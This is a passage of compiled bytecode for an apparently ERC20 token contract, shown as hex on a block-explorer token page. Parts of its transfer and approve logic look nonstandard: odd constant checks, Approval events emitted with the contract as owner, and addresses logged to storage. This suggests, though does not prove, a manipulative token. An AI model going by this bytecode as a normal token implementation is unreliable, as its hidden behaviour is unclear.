000000000000000000000000000000000000000000815260040161324590613fce565b60405180910390fd5b6000621ada998161325f919061416c565b9050612497811161326f57600080fd5b62175fb78161327e919061416c565b905061076d811161328e57600080fd5b62194d958161329d919061416c565b905061198481116132ad57600080fd5b623130d0816132bc919061416c565b905061220e81116132cc57600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516133aa91906140ae565b60405180910390a350505050565b60006133c484846125e0565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461343e5781811015613430576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161342790613fee565b60405180910390fd5b61343d848484840361316e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156134b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134ab9061404e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561351d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61355c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161355390613f8e565b60405180910390fd5b6135678383836138e6565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156135ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135e59061400e565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461363d919061421c565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613693919061416c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136f791906140ae565b60405180910390a361370a8484846138eb565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016137769190613f36565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516137c49190613f1f565b600060405180830381855afa9150503d80600081146137ff576040519150601f19603f3d011682016040523d82523d6000602084013e613804565b606091505b509150508080602001905181019061381c9190613d11565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe6003546138fa91906141c2565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561394a576000602055613a2f565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156139e85750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613a2e578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b828054613a40906142e7565b90600052602060002090601f016020900481019282613a625760008555613aa9565b82601f10613a7b57805160ff1916838001178555613aa9565b82800160010185558215613aa9579182015b82811115613aa8578251825591602001919060010190613a8d565b5b509050613ab69190613aba565b5090565b5b80821115613ad3576000816000905550600101613abb565b5090565b6000613aea613ae584614109565b6140e4565b905082815260208101848484011115613b0657613b0561443c565b5b613b118482856142a5565b509392505050565b600081359050613b28816146b1565b92915050565b600082601f830112613b4357613b42614437565b5b8135613b53848260208601613ad7565b91505092915050565b600081359050613b6b816146c8565b92915050565b600081519050613b80816146c8565b92915050565b600060208284031215613b9c57613b9b614446565b5b6000613baa84828501613b19565b91505092915050565b60008060408385031215613bca57613bc9614446565b5b6000613bd885828601613b19565b9250506020613be985828601613b19565b9150509250929050565b600080600060608486031215613c0c57613c0b614446565b5b6000613c1a86828701613b19565b9350506020613c2b86828701613b19565b9250506040613c3c86828701613b5c565b9150509250925092565b60008060408385031215613c5d57613c5c614446565b5b6000613c6b85828601613b19565b9250506020613c7c85828601613b5c565b9150509250929050565b600080600060608486031215613c9f57613c9e614446565b5b600084013567ffffffffffffffff811115613cbd57613cbc614441565b5b613cc986828701613b2e565b935050602084013567ffffffffffffffff811115613cea57613ce9614441565b5b613cf686828701613b2e565b9250506040613d0786828701613b5c565b9150509250925092565b600060208284031215613d2757613d26614446565b5b6000613d3584828501613b71565b91505092915050565b613d4781614250565b82525050565b613d5681614262565b82525050565b6000613d678261413a565b613d718185614150565b9350613d818185602086016142b4565b80840191505092915050565b6000613d9882614145565b613da2818561415b565b9350613db28185602086016142b4565b613dbb8161444b565b840191505092915050565b6000613dd360238361415b565b9150613dde8261445c565b604082019050919050565b6000613df660268361415b565b9150613e01826144ab565b604082019050919050565b6000613e1960228361415b565b9150613e24826144fa565b604082019050919050565b6000613e3c601d8361415b565b9150613e4782614549565b602082019050919050565b6000613e5f601f8361415b565b9150613e6a82614572565b602082019050919050565b6000613e8260208361415b565b9150613e8d8261459b565b602082019050919050565b6000613ea560258361415b565b9150613eb0826145c4565b604082019050919050565b6000613ec860248361415b565b9150613ed382614613565b604082019050919050565b6000613eeb60258361415b565b9150613ef682614662565b604082019050919050565b613f0a8161428e565b82525050565b613f1981614298565b82525050565b6000613f2b8284613d5c565b915081905092915050565b6000602082019050613f4b6000830184613d3e565b92915050565b6000602082019050613f666000830184613d4d565b92915050565b60006020820190508181036000830152613f868184613d8d565b905092915050565b60006020820190508181036000830152613fa781613dc6565b9050919050565b60006020820190508181036000830152613fc781613de9565b9050919050565b60006020820190508181036000830152613fe781613e0c565b9050919050565b6000602082019050818103600083015261400781613e2f565b9050919050565b6000602082019050818103600083015261402781613e52565b9050919050565b6000602082019050818103600083015261404781613e75565b9050919050565b6000602082019050818103600083015261406781613e98565b9050919050565b6000602082019050818103600083015261408781613ebb565b9050919050565b600060208201905081810360008301526140a781613ede565b9050919050565b60006020820190506140c36000830184613f01565b92915050565b60006020820190506140de6000830184613f10565b92915050565b60006140ee6140ff565b90506140fa8282614319565b919050565b6000604051905090565b600067ffffffffffffffff82111561412457614123614408565b5b61412d8261444b565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006141778261428e565b91506141828361428e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156141b7576141b661437b565b5b828201905092915050565b60006141cd8261428e565b91506141d88361428e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156142115761421061437b565b5b828202905092915050565b60006142278261428e565b91506142328361428e565b9250828210156142455761424461437b565b5b828203905092915050565b600061425b8261426e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156142d25780820151818401526020810190506142b7565b838111156142e1576000848401525b50505050565b600060028204905060018216806142ff57607f821691505b60208210811415614313576143126143d9565b5b50919050565b6143228261444b565b810181811067ffffffffffffffff8211171561434157614340614408565b5b80604052505050565b60006143558261428e565b91506143608361428e565b9250826143705761436f6143aa565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6146ba81614250565b81146146c557600080fd5b50565b6146d18161428e565b81146146dc57600080fd5b5056fea2646970667358221220d039917ae4a53bf5e6a4715cd366bcfbb3896e2841b62b9f6964ea01eb0f313c64736f6c63430008060033
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.